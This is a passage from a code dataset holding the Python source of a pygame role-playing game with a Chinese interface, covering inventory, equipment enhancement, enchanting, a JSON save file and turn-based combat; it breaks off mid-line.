\r\n\r\nprint(score_c)\r\nprint(score_s)\r\n","repo_name":"uranusneo/2021PS","sub_path":"10103.py","file_name":"10103.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"69805922333","text":"import pygame\nimport time\nimport sys\nimport json\nimport os\nimport re\nimport random\nBLACK = 0, 0, 0\nWHITE = 255, 255, 255\nRED = 255, 0, 0\nGREY = 128, 128, 128\nCREAM = 230, 230, 230\nYELLOW = 255, 255, 0\nsize = width, height = 1100, 800 # size of the window\nfps = 300 # frames per second for game\npath = os.getcwd()\nfiles = os.listdir(path)\n\npygame.init()\nscreen = pygame.display.set_mode(size)\nfclock = pygame.time.Clock()\n\nfont = pygame.font.Font(\"ShenYunSuXinTi-2.ttf\", 32)\nfont_small = pygame.font.Font(\"ShenYunSuXinTi-2.ttf\", 20)\nicon = pygame.image.load(\"./image/icon.png\")\npygame.display.set_icon(icon)\ncharacter_images = pygame.image.load(\"./image/角色.png\")\ncharacter_image = character_images.get_rect()\ncharacter_image = character_image.move(width - 60, height - 60)\nbag_images = pygame.image.load(\"./image/背包.png\")\nbag_image = bag_images.get_rect()\nbag_image = bag_image.move(width - 120, height - 60)\nachievement_images = pygame.image.load(\"./image/成就.png\")\nachievement_image = achievement_images.get_rect()\nachievement_image = achievement_image.move(width - 180, height - 60)\nstrengthen_images = pygame.image.load(\"./image/强化.png\")\nstrengthen_image = strengthen_images.get_rect()\nstrengthen_image = strengthen_image.move(width / 2 - 90, 100)\nsale_images = pygame.image.load(\"./image/出售.png\")\nsale_image = sale_images.get_rect()\nsale_image = sale_image.move((width - 200) / 3 - 140, 100)\nenchant_images = pygame.image.load(\"./image/附魔.png\")\nenchant_image = enchant_images.get_rect()\nenchant_image = enchant_image.move((width - 200) / 1.5 + 160, 100)\nshoe_images = pygame.image.load(\"./image/鞋子.png\")\nsword_images = pygame.image.load(\"./image/剑.png\")\nhelmet_images = pygame.image.load(\"./image/头盔.png\")\nring_images = pygame.image.load(\"./image/戒指.png\")\narmor_images = pygame.image.load(\"./image/护甲.png\")\nwand_images = pygame.image.load(\"./image/法杖.png\")\nbow_images = pygame.image.load(\"./image/弓箭.png\")\ntitle_images = pygame.image.load(\"./image/称号.png\")\nbig_health_images = pygame.image.load(\"./image/大红药.png\")\nsmall_health_images = pygame.image.load(\"./image/小红药.png\")\nbig_magic_images = pygame.image.load(\"./image/大蓝药.png\")\nsmall_magic_images = pygame.image.load(\"./image/小蓝药.png\")\nbig_attack_images = pygame.image.load(\"./image/攻击药剂(大).png\")\nsmall_attack_images = pygame.image.load(\"./image/攻击药剂(小).png\")\nenchant_material_images = pygame.image.load(\"./image/附魔材料.png\")\nvocational_material_images = pygame.image.load(\"./image/职业材料.png\")\nmission_material_images = pygame.image.load(\"./image/任务材料.png\")\npygame.display.set_caption(\"无名之地\")\n\n\nclass Material:\n def __init__(self, name):\n self.name = name\n\n def create_new_material(self, attack, defence, health, magic, critical, speed, luck, num, value, type):\n self.attack = attack\n self.defence = defence\n self.health = health\n self.magic = magic\n self.critical = critical\n self.speed = speed\n self.luck = luck\n self.num = num\n self.value = value\n self.type = type\n\n\nclass Baggage:\n def __init__(self, capacity):\n self.capacity = capacity\n self.objects = []\n self.amount = 0\n\n\nclass Prop:\n def __init__(self, name):\n self.name = name\n\n def create_new_prop(self, attack, defence, health, magic, critical, speed, luck, grow_attack, grow_defence,\n grow_health, grow_magic, grow_critical, grow_speed, grow_luck, value, pos, level=1,\n exp=0, need_exp=10, enchant_time=5, is_wear=0, numb=1):\n \"\"\"numb 表示此装备的序列号\"\"\"\n \"\"\"-1 = 法杖, 1 = 剑, 0 = 弓箭, 2 = helmet, 3 = armor, 4 = shoes, 5 = ornament, 6 = title\"\"\"\n # is_wear = 0,1,2,3 0 for not wearing, 1,2,3 for character 1, 2, 3\n self.level = level\n self.exp = exp\n self.need_exp = need_exp\n self.pos = pos\n self.enchant_time = enchant_time # 剩余的附魔次数\n self.grow_attack = grow_attack\n self.grow_defence = grow_defence\n self.grow_health = grow_health\n self.grow_magic = grow_magic\n self.grow_critical = grow_critical\n self.grow_speed = grow_speed\n self.grow_luck = grow_luck\n self.attack = attack\n self.defence = defence\n self.health = health\n self.magic = magic\n self.critical = critical\n self.speed = speed\n self.luck = luck\n self.is_wear = is_wear\n self.value = value\n self.numb = numb\n\n def up_level(self, exp):\n self.exp += exp\n while self.exp >= self.need_exp:\n self.value += self.need_exp//2\n self.level += 1\n self.exp = self.exp - self.need_exp\n self.need_exp *= 2\n self.attack += self.grow_attack\n self.defence += self.grow_defence\n self.health += self.grow_health\n self.magic += self.grow_magic\n self.critical += self.grow_critical\n self.speed += self.grow_speed\n self.luck += self.grow_luck\n\n\nclass Drug:\n def __init__(self, name):\n self.name = name\n\n def create_new_drug(self, attack, defence, health, speed, magic, num, value):\n self.num = num\n self.attack = attack\n self.defence = defence\n self.health = health\n self.speed = speed\n self.magic = magic\n self.value = value\n\n\nclass Character:\n def __init__(self, name):\n self.name = name\n\n def create_new_character(self, attack, defence, health, magic, critical, speed, luck, insight, grow_attack,\n grow_defence, grow_health, grow_magic, grow_critical, grow_speed, grow_luck, grow_insight,\n level=1, exp=0, need_exp=10, position=[]):\n self.level = level\n self.exp = exp\n self.need_exp = need_exp\n self.position = position\n self.grow_attack = grow_attack\n self.grow_defence = grow_defence\n self.grow_health = grow_health\n self.grow_magic = grow_magic\n self.grow_critical = grow_critical\n self.grow_speed = grow_speed\n self.grow_luck = grow_luck\n self.grow_insight = grow_insight\n self.attack = attack\n self.defence = defence\n self.health = health\n self.magic = magic\n self.critical = critical\n self.speed = speed\n self.luck = luck\n self.insight = insight\n\n def up_level(self, exp):\n self.exp += exp\n while self.exp >= self.need_exp:\n self.level += 1\n self.exp = self.exp - self.need_exp\n self.need_exp *= 2\n self.attack += self.grow_attack\n self.defence += self.grow_defence\n self.health += self.grow_health\n self.magic += self.grow_magic\n self.critical += self.grow_critical\n self.speed += self.grow_speed\n self.luck += self.grow_luck\n self.insight += self.grow_insight\n\n def character_cur_ability(self):\n \"\"\"set cur_ability\"\"\"\n self.cur_attack = self.attack\n self.cur_defence = self.defence\n self.cur_health = self.health\n self.cur_speed = self.speed\n self.cur_magic = self.magic\n self.cur_critical = self.critical\n\n\ndef load_file():\n \"\"\"存档读取\"\"\"\n if not os.path.exists('fileSave.json'):\n with open('fileSave.json', 'a') as f:\n characters = []\n drug = []\n props = []\n materials = []\n dic = {'plot': 0, 'money': 0, 'characters': characters, 'drug': drug, 'props': props, 'materials': materials}\n dic = json.dumps(dic, indent=4, ensure_ascii=False)\n f.write(dic)\n with open('fileSave.json', 'r', encoding='utf-8') as file_object:\n contents = json.load(file_object)\n return contents\n\n\ndef down_file(contents):\n \"\"\"保存存档\"\"\"\n contents = json.dumps(contents, indent=4, ensure_ascii=False)\n with open('fileSave.json', 'w', encoding='utf-8') as file_object:\n \"\"\"覆盖原存档\"\"\"\n file_object.write(contents)\n\n\ndef make_lists(contents, props_list, drug_list, characters_list, materials_list):\n \"\"\"存档变列表\"\"\"\n for j in contents['characters']:\n ch = Character(j['name'])\n ch_prop = []\n for i in j['position']:\n prop = Prop(i['name'])\n prop.create_new_prop(i['attack'], i['defence'], i['health'], i['magic'], i['critical'], i['speed'],\n i['luck'],\n i['grow_attack'], i['grow_defence'], i['grow_health'], i['grow_magic'],\n i['grow_critical'],\n i['grow_speed'], i['grow_luck'], i['value'], i['pos'], i['level'], i['exp'],\n i['need_exp'], i['enchant_time'], i['is_wear'], i['numb'])\n ch_prop.append(prop)\n ch.create_new_character(j['attack'], j['defence'], j['health'], j['magic'], j['critical'], j['speed'],\n j['luck'], j['insight'], j['grow_attack'], j['grow_defence'], j['grow_health'],\n j['grow_magic'], j['grow_critical'], j['grow_speed'], j['grow_luck'], j['grow_insight'],\n j['level'], j['exp'], j['need_exp'], ch_prop)\n characters_list.append(ch)\n for i in contents['props']:\n prop = Prop(i['name'])\n prop.create_new_prop(i['attack'], i['defence'], i['health'], i['magic'], i['critical'], i['speed'], i['luck'],\n i['grow_attack'], i['grow_defence'], i['grow_health'], i['grow_magic'], i['grow_critical'],\n i['grow_speed'], i['grow_luck'], i['value'], i['pos'], i['level'], i['exp'],\n i['need_exp'], i['enchant_time'], i['is_wear'], i['numb'])\n props_list.append(prop)\n for i in contents['drug']:\n drug = Drug(i['name'])\n drug.create_new_drug(i['attack'], i['defence'], i['health'], i['speed'], i['magic'], i['num'], i['value'])\n drug_list.append(drug)\n for i in contents['materials']:\n material = Material(i['name'])\n material.create_new_material(i['attack'], i['defence'], i['health'], i['magic'], i['critical'], i['speed'],\n i['luck'], i['num'], i['value'], i['type'])\n materials_list.append(material)\n\n\ndef show_lines(lines, t):\n for i in range(len(lines)):\n texts = font.render(lines[i], True, BLACK)\n text = texts.get_rect()\n text.center = (width/2, 100 + i*200)\n screen.blit(texts, text)\n pygame.display.update() # watch out its position\n time.sleep(t)\n\n\ndef show_words(words, coord, font, color):\n texts = font.render(words, True, color)\n text = texts.get_rect()\n text.center = (coord[0], coord[1])\n screen.blit(texts, text)\n\n\ndef show_attr(character, coord):\n show_words('经验:' + str(character.exp) + '/' + str(character.need_exp), (coord[0] + 72, coord[1]), font, BLACK)\n show_words('攻击:' + str(character.attack), (coord[0], coord[1] + 50), font, BLACK)\n show_words('防御:' + str(character.defence), (coord[0] + 145, coord[1] + 50), font, BLACK)\n show_words('生命:' + str(character.health), (coord[0], coord[1] + 100), font, BLACK)\n show_words('魔法:' + str(character.magic), (coord[0] + 145, coord[1] + 100), font, BLACK)\n show_words('暴击:' + str(character.critical), (coord[0], coord[1] + 150), font, BLACK)\n show_words('速度:' + str(character.speed), (coord[0] + 145, coord[1] + 150), font, BLACK)\n show_words('幸运:' + str(character.luck), (coord[0], coord[1] + 200), font, BLACK)\n show_words('洞视:' + str(character.insight), (coord[0] + 145, coord[1] + 200), font, BLACK)\n show_words('等级:' + str(character.level), (coord[0], coord[1] + 250), font, BLACK)\n\n\ndef refresh_lists(baggage, props_list, drug_list, materials_list):\n \"\"\"背包存入列表\"\"\"\n props_list.clear()\n drug_list.clear()\n materials_list.clear()\n for i in baggage.objects:\n if Prop == type(i):\n props_list.append(i)\n elif Drug == type(i):\n drug_list.append(i)\n elif Material == type(i):\n materials_list.append(i)\n\n\ndef refresh_content(contents, characters_list, props_list, drug_list, materials_list):\n \"\"\"列表变存档\"\"\"\n contents['characters'].clear()\n contents['drug'].clear()\n contents['props'].clear()\n contents['materials'].clear()\n for i in characters_list:\n dic = {'name': i.name, 'attack': i.attack, 'defence': i.defence, 'health': i.health,\n 'magic': i.magic, 'critical': i.critical, 'speed': i.speed, 'luck': i.luck,\n 'insight': i.insight, 'level': i.level, 'exp': i.exp, 'need_exp': i.need_exp,\n 'grow_attack': i.grow_attack, 'grow_defence': i.grow_defence, 'grow_health': i.grow_health,\n 'grow_magic': i.grow_magic, 'grow_critical': i.grow_critical, 'grow_speed': i.grow_speed,\n 'grow_luck': i.grow_luck, 'grow_insight': i.grow_insight, 'position': i.position}\n prop_dic = []\n for j in dic['position']:\n prop = {'name': j.name, 'attack': j.attack, 'defence': j.defence, 'health': j.health, 'magic': j.magic,\n 'critical': j.critical, 'speed': j.speed, 'luck': j.luck, 'level': j.level,'exp': j.exp,\n 'need_exp': j.need_exp, 'grow_attack': j.grow_attack, 'grow_defence': j.grow_defence,\n 'grow_health': j.grow_health, 'grow_magic': j.grow_magic, 'grow_critical': j.grow_critical,\n 'grow_speed': j.grow_speed, 'grow_luck': j.grow_luck, 'pos': j.pos, 'value': j.value,\n 'is_wear': j.is_wear, 'enchant_time': j.enchant_time, 'numb': j.numb}\n prop_dic.append(prop)\n dic['position'] = prop_dic\n content['characters'].append(dic)\n for i in drug_list:\n dic = {'name': i.name, 'attack': i.attack, 'defence': i.defence, 'health': i.health,\n 'magic': i.magic, 'speed': i.speed, 'value': i.value, 'num': i.num}\n content['drug'].append(dic)\n for i in props_list:\n dic = {'name': i.name, 'attack': i.attack, 'defence': i.defence, 'health': i.health,\n 'magic': i.magic, 'critical': i.critical, 'speed': i.speed, 'luck': i.luck, 'level': i.level,\n 'exp': i.exp, 'need_exp': i.need_exp, 'grow_attack': i.grow_attack, 'grow_defence': i.grow_defence,\n 'grow_health': i.grow_health, 'grow_magic': i.grow_magic, 'grow_critical': i.grow_critical,\n 'grow_speed': i.grow_speed, 'grow_luck': i.grow_luck, 'pos': i.pos, 'value': i.value,\n 'is_wear': i.is_wear, 'enchant_time': i.enchant_time, 'numb': i.numb}\n content['props'].append(dic)\n for i in materials_list:\n dic = {'name': i.name, 'attack': i.attack, 'defence': i.defence, 'health': i.health, 'critical': i.critical,\n 'magic': i.magic, 'speed': i.speed, 'value': i.value, 'num': i.num, 'luck': i.luck, 'type': i.type}\n content['materials'].append(dic)\n\n\ndef add_prop_character(character, prop, num):\n \"\"\"人物装备道具\"\"\"\n character.attack += prop.attack\n character.defence += prop.defence\n character.health += prop.health\n character.magic += prop.magic\n character.critical += prop.critical\n character.luck += prop.luck\n character.speed += prop.speed\n for i in character.position:\n if prop.pos <= 1:\n if i.pos <= 1:\n remove_prop_character(character, i)\n break\n else:\n if i.pos == prop.pos:\n remove_prop_character(character, i)\n break\n if prop.is_wear != 0:\n remove_prop_character(character_list[prop.is_wear-1], prop)\n character.position.append(prop)\n prop.is_wear = num\n for i in prop_list:\n if i.name == prop.name and i.numb == prop.numb:\n i.is_wear = prop.is_wear\n for i in character_list:\n if i.name == character.name:\n i.position = character.position\n refresh_baggage(baggage, prop_list, drug_list, material_list)\n\n\ndef remove_prop_character(character, prop):\n \"\"\"移除装备\"\"\"\n for i in character.position:\n if i.name == prop.name:\n character.position.remove(i)\n prop.is_wear = 0\n for i in character_list:\n if i.name == character.name:\n i.position = character.position\n refresh_baggage(baggage, prop_list, drug_list, material_list)\n for i in prop_list:\n if i.name == prop.name and i.numb == prop.numb:\n i.is_wear = 0\n character.attack -= prop.attack\n character.defence -= prop.defence\n character.health -= prop.health\n character.magic -= prop.magic\n character.critical -= prop.critical\n character.luck -= prop.luck\n character.speed -= prop.speed\n\n\ndef strengthen_prop(prop):\n \"\"\"强化装备\"\"\"\n level = prop.level\n chance = 100 - ((level - 1) * 10)\n if level == 10:\n return 2 # 2 for out of range\n if content['money'] < baggage.objects[chose_num].need_exp:\n return 3 # 3 for lack of money\n content['money'] -= baggage.objects[chose_num].need_exp\n rand = random.randint(1, 100)\n if rand <= chance:\n prop.up_level(prop.need_exp)\n if prop.is_wear != 0:\n for i in character_list[prop.is_wear - 1].position:\n if i.name == prop.name and i.numb == prop.numb:\n i.attack = prop.attack\n i.defence = prop.defence\n i.health = prop.health\n i.magic = prop.magic\n i.critical = prop.critical\n i.speed = prop.speed\n i.luck = prop.luck\n i.value = prop.value\n i.level = prop.level\n i.need_exp = prop.need_exp\n i.exp = prop.exp\n for i in prop_list:\n if i.name == prop.name and i.numb == prop.numb:\n i.attack = prop.attack\n i.defence = prop.defence\n i.health = prop.health\n i.magic = prop.magic\n i.critical = prop.critical\n i.speed = prop.speed\n i.luck = prop.luck\n i.value = prop.value\n i.level = prop.level\n i.need_exp = prop.need_exp\n i.exp = prop.exp\n refresh_baggage(baggage, prop_list, drug_list, material_list)\n return 1 # 1 for success\n else:\n return 0 # 0 for fail\n\n\ndef enchant_prop(prop, material):\n for i in prop_list:\n if i.name == prop.name and i.numb == prop.numb:\n i.enchant_time -= 1\n i.attack += material.attack\n i.defence += material.defence\n i.health += material.health\n i.magic += material.magic\n i.critical += material.critical\n i.speed += material.speed\n i.luck += material.luck\n i.value += material.value // 2\n if prop.is_wear != 0:\n for i in character_list[prop.is_wear - 1].position:\n if i.name == prop.name and i.numb == prop.numb:\n i.enchant_time = prop.enchant_time\n i.attack = prop.attack\n i.defence = prop.defence\n i.health = prop.health\n i.magic = prop.magic\n i.critical = prop.critical\n i.speed = prop.speed\n i.luck = prop.luck\n i.value = prop.value\n refresh_baggage(baggage, prop_list, drug_list, material_list)\n\n\ndef is_new(contents):\n new = contents[\"plot\"]\n plot_1 = [\"一觉醒来,你不知道自己身处何处,\", \"甚至自己是何许人也亦无从得知,世界犹如混沌般恍惚。\", \"徘徊于这谜一般的大陆上,你决定只身探索,寻找真相......\"]\n if new == 0:\n contents[\"plot\"] = 1\n \"\"\"测试为0,实际为1\"\"\"\n screen.fill(CREAM)\n show_lines(plot_1, 2)\n pygame.display.update()\n fclock.tick(fps)\n down_file(contents)\n\n\ndef draw_window():\n pygame.draw.rect(screen, BLACK, (100, 50, width - 200, height - 200), 4)\n \"\"\"rect stand for (x,y,width,height)\"\"\"\n pygame.draw.rect(screen, BLACK, (width - 130, 50, 30, 30), 4)\n pygame.draw.line(screen, RED, (width - 125, 55), (width - 105, 75), 4)\n pygame.draw.line(screen, RED, (width - 105, 55), (width - 125, 75), 4)\n pygame.display.update()\n fclock.tick(fps)\n\n\ndef close_window():\n mouse_pos = pygame.mouse.get_pos()\n mouse_pressed = pygame.mouse.get_pressed()\n for event in pygame.event.get(): # magic move\n if event.type == pygame.QUIT: # close the window\n content['baggage'] = baggage.amount # put into fileSave\n refresh_content(content, character_list, prop_list, drug_list, material_list)\n down_file(content)\n sys.exit()\n if width - 130 < mouse_pos[0] < width - 100 and 50 < mouse_pos[1] < 80 and mouse_pressed[0] == 1:\n return 1\n\n\ndef show_image(item_list_image, coord, id, num):\n dic = {'-1': wand_images, '0': bow_images, '1': sword_images, '2': helmet_images, '3': armor_images,\n '4': shoe_images, '5': ring_images, '6': title_images, '大红药': big_health_images,\n '小红药': small_health_images, '大蓝药': big_magic_images, '小蓝药': small_magic_images,\n '小攻击药': small_attack_images, '大攻击药': big_attack_images, '附魔材料': enchant_material_images,\n '职业材料': vocational_material_images, '任务材料': mission_material_images}\n item_list_image.append(dic[id].get_rect())\n item_list_image[num] = item_list_image[num].move(coord)\n screen.blit(dic[id], item_list_image[num])\n return item_list_image\n\n\ndef show_object(baggage):\n item_list_image = []\n j = 0\n for i in baggage.objects:\n coord = j % 6 * 150 + 150, j // 6 * 150 + 70\n if type(i) == Prop:\n item_list_image = show_image(item_list_image, coord, str(i.pos), j)\n if i.is_wear > 0:\n pygame.draw.line(screen, RED, (j % 6 * 150 + 115, j // 6 * 150 + 65), (j % 6 * 150 + 125, j // 6 * 150\n + 75), 4)\n pygame.draw.line(screen, RED, (j % 6 * 150 + 125, j // 6 * 150 + 75), (j % 6 * 150 + 145, j // 6 * 150\n + 55), 4)\n show_words(str(character_list[i.is_wear - 1].name),\n (j % 6 * 150 + 190, j // 6 * 150 + 60), font_small, GREY)\n elif type(i) == Drug:\n item_list_image = show_image(item_list_image, coord, str(i.name), j)\n elif type(i) == Material:\n '''change into upper form'''\n item_list_image = show_image(item_list_image, coord, str(i.type), j)\n show_words(i.name, (j % 6 * 150 + 180, j // 6 * 150 + 150), font, BLACK)\n j += 1\n return len(item_list_image)\n\n\ndef click_on_props():\n mouse_pos = pygame.mouse.get_pos()\n for i in range(4):\n if 100 < mouse_pos[0] < width - 100 and 50 + i * 150 < mouse_pos[1] < 200 + i * 150:\n for j in range(6):\n if 100 + j * 150 < mouse_pos[0] < 250 + j * 150:\n return i * 6 + j\n return -1\n\n\ndef translate(word):\n translator = {'name': '名称', 'attack': '攻击', 'defence': '防御', 'health': '生命', 'magic': '魔法', 'critical': '暴击',\n 'speed': '速度', 'luck': '幸运', 'level': '等级', 'num': '数量', 'enchant_time': '可附魔次数',\n 'value': '价格', 'type': '类型'}\n return translator[word]\n\n\ndef sale_obj(baggage, obj, contents):\n \"\"\"卖出物品\"\"\"\n contents['money'] += obj.value\n if Prop == type(obj):\n baggage.objects.remove(obj)\n else:\n for i in baggage.objects:\n if i.name == obj.name:\n i.num -= 1\n if i.num <= 0:\n baggage.objects.remove(i)\n baggage.amount -= 1\n break\n\n\ndef draw_character():\n pygame.draw.line(screen, GREY, (100, height / 2 - 50), (width - 100, height / 2 - 50), 4)\n pygame.draw.line(screen, BLACK, ((width - 200) / 3 + 100, 50), ((width - 200) / 3 + 100, height - 150), 4)\n pygame.draw.line(screen, BLACK, ((width - 200) / 1.5 + 105, 50), ((width - 200) / 1.5 + 105, height - 150), 4)\n show_words(character_list[0].name, ((width - 200) / 6 + 100, 100), font, BLACK)\n show_words(character_list[1].name, ((width - 200) / 2 + 100, 100), font, BLACK)\n show_words(character_list[2].name, ((width - 200) / 6 * 5 + 100, 100), font, BLACK)\n show_attr(character_list[0], ((width - 200) / 6 + 20, height / 2 - 20))\n show_attr(character_list[1], ((width - 200) / 2 + 20, height / 2 - 20))\n show_attr(character_list[2], ((width - 200) / 6 * 5 + 20, height / 2 - 20))\n for i in range(6):\n pygame.draw.rect(screen, GREY, (((width - 200) / 6 - 40 + 97 * (i % 3), 240 if i > 2 else 130), (85, 85)), 4)\n pygame.draw.rect(screen, GREY, (((width - 200) / 2 - 35 + 97 * (i % 3), 240 if i > 2 else 130), (85, 85)), 4)\n pygame.draw.rect(screen, GREY, (((width - 200) / 6 * 5 - 35 + 97 * (i % 3),\n 240 if i > 2 else 130), (85, 85)), 4)\n item_list_image = []\n k = 0\n for i in range(3):\n for j in range(6):\n if j < len(character_list[i].position):\n coord = (width - 200) / 6 - 25 + 97 * (j % 3) + 308 * i - (i // 2) * 8, 250 if j > 2 else 140\n item_list_image = show_image(item_list_image, coord, str(character_list[i].position[j].pos), k)\n show_words(str(character_list[i].position[j].name),\n ((width - 200) / 6 + 97 * (j % 3) + i * 300, 340 if j > 2 else 230),\n font_small, RED)\n k += 1\n draw_window()\n\n\ndef draw_map():\n for point in point_list:\n pygame.draw.circle(screen, YELLOW, point, 15, 4)\n\n\ndef level_choose():\n i = 0\n for point in point_list:\n if point[0] - 25 < map_choice[0] < point[0] + 25 and point[1] - 25 < map_choice[1] < point[1] + 25:\n pygame.draw.circle(screen, RED, point, 15, 4)\n return i\n i += 1\n return -1\n\n\ndef refresh_baggage(baggage, props_list, drug_list, materials_list):\n \"\"\"列表载入背包\"\"\"\n baggage.objects = props_list[:] + drug_list[:] + materials_list[:]\n baggage.amount = len(baggage.objects)\n\n\ndef get_cur_ability(fight_event):\n \"\"\"初始化出战人物\"\"\"\n with open('fileSave.json', 'r', encoding='utf-8') as file_object:\n contents = json.load(file_object)\n for j in contents['fight_event']:\n if j['num'] is fight_event:\n for i in j['enemy']:\n ch = Character(i['name'])\n ch.create_new_character(i['attack'], i['defence'], i['health'], i['magic'], i['critical'], i['speed'],\n i['luck'], 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, [])\n enemy_list.append(ch)\n for i in characters_fight_list:\n i.character_cur_ability()\n for i in enemy_list:\n i.character_cur_ability()\n\n\ndef judge_speed():\n \"\"\"速度排序\"\"\"\n speed_list = []\n for i in characters_fight_list:\n if i.cur_health > 0:\n speed_list.append(i)\n for i in enemy_list:\n if i.cur_health > 0:\n speed_list.append(i)\n for i in range(0, len(speed_list)-1):\n for j in range(i+1, len(speed_list)):\n if speed_list[i].cur_speed < speed_list[j].cur_speed:\n speed_list[i], speed_list[j] = speed_list[j], speed_list[i]\n return speed_list\n\n\ndef character_action(character1, character2):\n harm = round(0.8 * character1.cur_attack - character2.cur_defence) + round(0.2 * character1.cur_attack)\\\n if character1.cur_attack > character2.cur_defence else round(0.2 * character1.cur_attack)\n if character1.cur_critical >= random.randint(1, 100):\n print(\"暴击!!!\")\n harm = round(character1.cur_attack * 1.5) - character2.cur_defence\n if harm <= 0:\n harm = 0\n character2.cur_health -= harm\n print(character1.name + '对' + character2.name + '造成了' + str(harm) + '点伤害。')\n\n\ndef character_die(character, list):\n list.remove(character)\n\n\ndef fight_end():\n if len(characters_fight_list) is 0 or len(enemy_list) is 0:\n return True\n return False\n\n\ndef fight_fight():\n \"\"\"虚拟战斗\n 战斗主函数\"\"\"\n while fight_end() is False:\n \"\"\"判断战斗是否结束\"\"\"\n speed_list = judge_speed()\n \"\"\"刷新行动列表\"\"\"\n for i in speed_list:\n if i.cur_health > 0 and fight_end() is False:\n if i in characters_fight_list:\n if len(enemy_list) > 1:\n character = enemy_list[random.randint(0, len(enemy_list))]\n else:\n character = enemy_list[-1]\n character_action(i, character)\n \"\"\"目前只有战斗功能\"\"\"\n print(character.name + 'health' + str(character.cur_health))\n if character.cur_health <= 0:\n character_die(character, enemy_list)\n speed_list.remove(character)\n else:\n if len(characters_fight_list) > 1:\n character = characters_fight_list[random.randint(0, len(enemy_list))]\n else:\n character = characters_fight_list[-1]\n character_action(i, character)\n print(character.name + 'health' + str(character.cur_health))\n if character.cur_health <= 0:\n character_die(character, characters_fight_list)\n speed_list.remove(character)\n\n\ncontent = load_file()\nbaggage = Baggage(content['baggage'])\nis_new(content)\ncharacter_list = []\ndrug_list = []\nmaterial_list = []\nprop_list = []\nmake_lists(content, prop_list, drug_list, character_list, material_list)\nrefresh_baggage(baggage, prop_list, drug_list, material_list)\nmap_choice = [20, height - 20]\nmap_x_velocity = 0\nmap_y_velocity = 0\nflag = 0\npoint_list = [(100, 200), [200, 100], [300, 400], [500, 400]]\nlevel_choice = -1\n\nwhile True:\n screen.fill(CREAM)\n for event in pygame.event.get(): # event list\n if event.type == pygame.QUIT: # close the window\n refresh_content(content, character_list, prop_list, drug_list, material_list)\n down_file(content)\n sys.exit()\n elif event.type == pygame.KEYDOWN: # event of press the key\n if event.key == pygame.K_RIGHT:\n map_x_velocity = 2\n if event.key == pygame.K_DOWN:\n map_y_velocity = 2\n if event.key == pygame.K_LEFT:\n map_x_velocity = -2\n if event.key == pygame.K_UP:\n map_y_velocity = -2\n elif event.type == pygame.KEYUP: # event of release the key\n if event.key == pygame.K_RIGHT:\n map_x_velocity = 0\n if event.key == pygame.K_DOWN:\n map_y_velocity = 0\n if event.key == pygame.K_LEFT:\n map_x_velocity = 0\n if event.key == pygame.K_UP:\n map_y_velocity = 0\n if event.key == pygame.K_SPACE and level_choice is not -1:\n print(int(level_choice))\n characters_fight_list = character_list[:]\n enemy_list = []\n get_cur_ability(level_choice)\n fight_fight()\n print(int(level_choice))\n mouse_pos = pygame.mouse.get_pos()\n mouse_pressed = pygame.mouse.get_pressed()\n '''return tuple object, which [0] represent left key, [1] for middle, [2] for right'''\n if width - 60 < mouse_pos[0] < width and height - 60 < mouse_pos[1] < height and mouse_pressed[0] == 1:\n '''character'''\n draw_character()\n draw_window()\n while True:\n if close_window() == 1:\n break\n if (width - 120 < mouse_pos[0] < width - 60 and height - 60 < mouse_pos[1] < height and mouse_pressed[0] == 1)\\\n or flag == 1:\n \"\"\"bag\"\"\"\n show_words(\"金钱:\" + str(content['money']), (width / 2, 30), font, BLACK)\n for i in range(3):\n pygame.draw.line(screen, BLACK, (100, 200 + i * 150), (width - 100, 200 + i * 150), 4)\n for i in range(5):\n pygame.draw.line(screen, BLACK, (250 + i * 150, 50), (250 + i * 150, height - 150), 4)\n ''' put into function'''\n props_num = show_object(baggage)\n draw_window()\n flag = 0\n while True:\n if close_window() == 1:\n refresh_lists(baggage, prop_list, drug_list, material_list)\n break\n mouse_pressed = pygame.mouse.get_pressed()\n cur_word_1 = ''\n cur_word_2 = ''\n tag = 0\n if mouse_pressed[0] == 1:\n chose_num = click_on_props()\n if 0 <= chose_num < props_num:\n pygame.draw.rect(screen, CREAM, ((0, height - 145), (1100, 145)))\n word_len = 0\n obj = vars(baggage.objects[chose_num])\n for i in obj:\n if not re.findall('(^grow|^need|pos|exp|is_wear|numb)', str(i)):\n if obj[i] != 0:\n if word_len < 6:\n cur_word_1 += translate(str(i)) + ':' + str(obj[i]) + ' '\n word_len += 1\n else:\n cur_word_2 += translate(str(i)) + ':' + str(obj[i]) + ' '\n show_words(cur_word_1, (width / 2, height - 120), font, BLACK)\n show_words(cur_word_2, (width / 2, height - 70), font, BLACK)\n elif mouse_pressed[2] == 1:\n chose_num = click_on_props()\n if 0 <= chose_num < props_num:\n chose_num = click_on_props()\n if type(baggage.objects[chose_num]) == Material or type(baggage.objects[chose_num]) == Drug:\n sale_obj(baggage, baggage.objects[chose_num], content)\n refresh_lists(baggage, prop_list, drug_list, material_list)\n time.sleep(0.2)\n flag = 1\n break\n else:\n screen.fill(CREAM)\n pygame.draw.line(screen, BLACK, (100, 450), (width - 100, 450), 4)\n pygame.draw.line(screen, BLACK, ((width - 200) / 3 + 100, 50),\n ((width - 200) / 3 + 100, 650), 4)\n pygame.draw.line(screen, BLACK, ((width - 200) / 1.5 + 100, 50),\n ((width - 200) / 1.5 + 100, 650), 4)\n show_words(\"售出\", ((width - 200) / 3 - 50, 350), font, BLACK)\n screen.blit(sale_images, sale_image)\n show_words(\"强化\", (width / 2, 350), font, BLACK)\n screen.blit(strengthen_images, strengthen_image)\n show_words(\"附魔\", ((width - 200) / 1.5 + 250, 350), font, BLACK)\n screen.blit(enchant_images, enchant_image)\n show_words(\"装备于\" + str(character_list[0].name), ((width - 200) / 3 - 50, 550), font, BLACK)\n show_words(\"装备于\" + str(character_list[1].name), (width / 2, 550), font, BLACK)\n show_words(\"装备于\" + str(character_list[2].name), ((width - 200) / 1.5 + 250, 550), font, BLACK)\n draw_window()\n while True:\n mouse_pressed = pygame.mouse.get_pressed()\n if mouse_pressed[0] == 1:\n mouse_pos = pygame.mouse.get_pos()\n if 100 < mouse_pos[0] < (width - 200) / 3 + 100 and 50 < mouse_pos[1] < 450:\n sale_obj(baggage, baggage.objects[chose_num], content)\n refresh_lists(baggage, prop_list, drug_list, material_list)\n refresh_baggage(baggage, prop_list, drug_list, material_list)\n tag = 1\n break\n if (width - 200) / 3 + 100 < mouse_pos[0] < (width - 200) / 1.5 + 100 and 50 <\\\n mouse_pos[1] < 